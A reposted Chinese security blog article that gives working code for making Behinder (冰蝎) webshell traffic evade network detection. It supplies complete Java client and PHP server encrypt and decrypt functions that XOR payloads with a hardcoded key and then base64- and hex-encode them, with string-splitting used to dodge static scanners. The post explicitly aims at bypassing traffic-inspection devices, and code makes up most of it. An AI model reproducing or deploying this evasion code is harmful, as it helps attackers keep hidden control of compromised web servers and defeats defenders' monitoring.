冰蝎流量免杀初探
2023-1-9 08:2:43 Author: Web安全工具库(查看原文) 阅读量:14 收藏

0x01 前言

冰蝎4.0发布以后,可以自定义传输协议了,也就是我们能对流量进行改造,本文依据rebeyond大佬文章对冰蝎流量进行改造,记录一下踩过的坑。

https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A

冰蝎传输协议模块

分为本地和远程,其中本地模块只能用java进行编写,远程模块根据webshell的语言类型进行编写,比如java、php、asp,全部编写好后要生成服务端,也就是生成我们自己的webshell,用生成后的webshell进行连接。

借用大佬的图说明一下加解密流程

整体流量加解密流程为先对payload进行base64,再转成十六进制,具体函数往下看。

0x02 加解密过程

1、本地加密函数

  1. private byte[] Encrypt(byte[] data) throws Exception{ String key="e45e329feb5d925b"; for (int i = 0; i < data.length; i++) { data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15])); } byte[] encrypted = null; Class baseCls; try { baseCls=Class.forName("java.util.Base64"); Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null); encrypted= (byte[]) Encoder.getClass().getMethod( "encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data}); } catch (Throwable error) { baseCls=Class.forName("sun.misc.BASE64Encoder"); Object Encoder=baseCls.newInstance(); String result=(String) Encoder.getClass().getMethod( "encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{data}); result=result.replace("n", "").replace("r", ""); encrypted=result.getBytes(); } Object obj = null; try{ Class clazz = Class.forName("javax.xml.bind.DatatypeConverter"); obj = clazz.getDeclaredMethod("printHexBinary",new Class[]{byte[].class}).invoke(null,encrypted); }catch (Throwable error){ System.out.println(error); } byte[] encrypted_hex = obj.toString().toLowerCase().getBytes(); return encrypted_hex; }


2、本地解密函数

  1. private byte[] Decrypt(byte[] data) throws Exception { String decrypted_hex = new String(data); byte[] decrypted_base = null; try{ Class clazz = Class.forName("javax.xml.bind.DatatypeConverter"); decrypted_base = (byte[])clazz.getDeclaredMethod("parseHexBinary",String.class).invoke(null,decrypted_hex); }catch (Throwable error){ System.out.println(error); } byte[] decodebs; Class baseCls ; try{ baseCls=Class.forName("java.util.Base64"); Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null); decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{decrypted_base}); } catch (Throwable e) { baseCls = Class.forName("sun.misc.BASE64Decoder"); Object Decoder=baseCls.newInstance(); decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(decrypted_base)}); } String key="e45e329feb5d925b"; for (int i = 0; i < decodebs.length; i++) { decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15])); } return decodebs; }


可以先看一下本地加密的效果

至此,本地加解密函数完成,下一步我们研究webshell怎么写。因为本文研究流量免杀,webshell的免杀在此处不做讨论。

3、远程加密函数

  1. function Encrypt($data){ $key="e45e329feb5d925b"; for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; } $bs="base64_"."encode"; $after=$bs($data.""); return bin2hex($after);}


4、远程解密函数

  1. function Decrypt($data){ $key="e45e329feb5d925b"; $bs="base64_"."decode"; $after=$bs(pack('H*',$data).""); for($i=0;$i<strlen($after);$i++) { $after[$i] = $after[$i]^$key[$i+1&15]; } return $after;}


0x03 效果

先生成服务端,生成我们自己的webshell

连接webshell

用burp抓包看一下流量

0x04 总结

本次加解密流程为先base64,再转成16进制字符串。先转成base64主要是为了保护原始payload,以免在从十六进制转回原payload的过程中发生递归解析,将原payload中的十六进制字符串也一并解析了。

本文仅针对冰蝎流量改造进行初步探讨,熟悉一下整个流程,真的要绕流量设备,估计还需要其他的技巧。

该内容转载自网络,仅供学习交流,勿作他用,如有侵权请联系删除。


关 注 有 礼

欢迎关注公众号:Web安全工具库

获取每日抽奖送书


文章来源: http://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247507116&idx=2&sn=effb63a13048c3a49e880f3dbd3c4abc&chksm=ebb533afdcc2bab9e23be6d5da6023c1a7a7dcd61903b289bbab8ba56470af6ab248e16c5d78#rd
如有侵权请联系:admin#unsafe.sh